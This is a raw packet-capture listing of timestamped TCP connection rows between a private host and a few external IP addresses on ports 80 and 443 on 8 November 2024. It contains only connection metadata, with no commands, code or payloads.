Nov 8, 2024 15:21:21.322309971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.322351933 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.322351933 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.361212015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361294031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.361315966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361329079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361341000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361367941 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.361407995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.361414909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361426115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361443996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361457109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361470938 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.361470938 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.361494064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.361824036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.361905098 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.402283907 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.402350903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.402359009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.402370930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.402420998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.402420998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.467369080 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.467658043 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.467684031 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.467994928 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.468301058 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.468347073 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.468457937 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.475518942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475555897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475565910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475584030 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475641012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475662947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475691080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475713015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475725889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475769997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475769997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475790024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475801945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475842953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475842953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475864887 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475900888 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475919962 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.475981951 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.475996017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476006031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476016045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476042032 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476123095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476134062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476145983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476181984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476181984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476218939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476229906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476296902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476337910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476349115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476397991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476397991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476449966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476459980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476470947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476516962 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476516962 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476588011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476598978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476610899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476623058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476629972 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476634979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476855993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476862907 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476900101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.476939917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.476939917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.515321016 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.515969038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.515980005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.515990019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516001940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516011953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516024113 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516042948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516053915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516063929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516064882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.516064882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.516169071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.516325951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516336918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.516365051 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.540571928 CET	443	49833	23.206.229.226	192.168.2.8
Nov 8, 2024 15:21:21.540642977 CET	49833	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:21:21.556994915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.557141066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.557152033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.557163000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.557174921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.557185888 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.557188988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.557188988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.557363033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.599107981 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.599136114 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.599186897 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.599194050 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.599248886 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.600395918 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.600410938 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.606996059 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.607039928 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.607101917 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.607419968 CET	49835	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:21.607429981 CET	443	49835	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:21.630139112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.630158901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.630168915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.630235910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.630235910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.630867004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.630887032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.630913019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.630934954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.630964041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631040096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631041050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631052971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631105900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631105900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631109953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631161928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631175995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631185055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631200075 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631242037 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631297112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631309032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631373882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631407976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631418943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631424904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631470919 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631521940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631560087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631570101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631571054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631612062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631612062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631630898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631678104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631747961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631766081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631802082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631802082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631807089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631819963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631830931 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.631844997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631876945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631876945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.631990910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.632002115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.632013083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.632034063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.632067919 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.632067919 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.670696974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670723915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670736074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670757055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670768976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670783043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670794964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.670794964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.670824051 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.670876026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.670916080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670929909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670941114 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.670963049 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.670993090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.670993090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.671005011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.671049118 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.671077967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.671089888 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.671147108 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.711446047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.711467981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.711483002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.711496115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.711508989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.711519003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.711523056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.711549997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.711616993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.784651041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.784677029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.784687042 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.784737110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.784737110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785418987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785468102 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785469055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785520077 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785558939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785609007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785621881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785638094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785662889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785711050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785788059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785800934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785814047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785825968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785837889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785866022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785866022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785881996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.785947084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.785986900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786015034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786053896 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786084890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786098003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786108971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786128998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786155939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786155939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786242008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786253929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786263943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786303997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786323071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786385059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786396027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786406994 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786417007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786437035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786489010 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786740065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786751986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786765099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.786782026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.786834002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.844752073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.844764948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.844777107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.844810009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.844868898 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.844899893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.844912052 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.844923019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.844934940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.844945908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.844971895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.845002890 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.845141888 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.845187902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.845266104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.845325947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.867836952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.867851973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.867903948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.867991924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.868041992 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.868140936 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.868153095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.868191957 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.868211031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.941123962 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.941193104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.941284895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.941302061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.941335917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.941335917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942293882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942303896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942315102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942363024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942363024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942471981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942490101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942502022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942519903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942533016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942576885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942605019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942624092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942636013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942647934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942651033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942651033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942661047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942675114 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942681074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942681074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942687988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942701101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942713976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942714930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942727089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942733049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942737103 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942742109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942750931 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942760944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942771912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942780018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942784071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942795992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.942820072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942820072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.942853928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981127977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981146097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981157064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981209993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981237888 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981304884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981316090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981328011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981379986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981379986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981453896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981467009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981515884 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981515884 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.981646061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981657028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981668949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.981690884 CET	49753	80	192.168.2.8	185.215.113.206
